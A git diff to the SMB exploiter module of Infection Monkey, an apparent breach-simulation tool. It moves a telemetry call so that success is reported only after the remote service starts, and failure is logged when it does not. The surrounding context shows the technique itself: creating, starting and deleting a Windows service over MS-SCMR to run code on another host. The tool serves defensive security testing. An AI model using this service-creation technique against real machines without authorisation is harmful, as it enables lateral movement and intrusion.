diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index ee865e533..6f1667c64 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -131,10 +131,12 @@ class SmbExploiter(HostExploiter):
         resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name,
                                      lpBinaryPathName=cmdline)
         service = resp['lpServiceHandle']
-        T1035Telem(ScanStatus.USED, "SMB exploiter ran the monkey by creating a service via MS-SCMR.").send()
         try:
             scmr.hRStartServiceW(scmr_rpc, service)
+            T1035Telem(ScanStatus.USED, "SMB exploiter ran the monkey by creating a service via MS-SCMR.").send()
         except:
+            T1035Telem(ScanStatus.SCANNED,
+                       "SMB exploiter failed to run the monkey by creating a service via MS-SCMR.").send()
             pass
         scmr.hRDeleteService(scmr_rpc, service)
         scmr.hRCloseServiceHandle(scmr_rpc, service)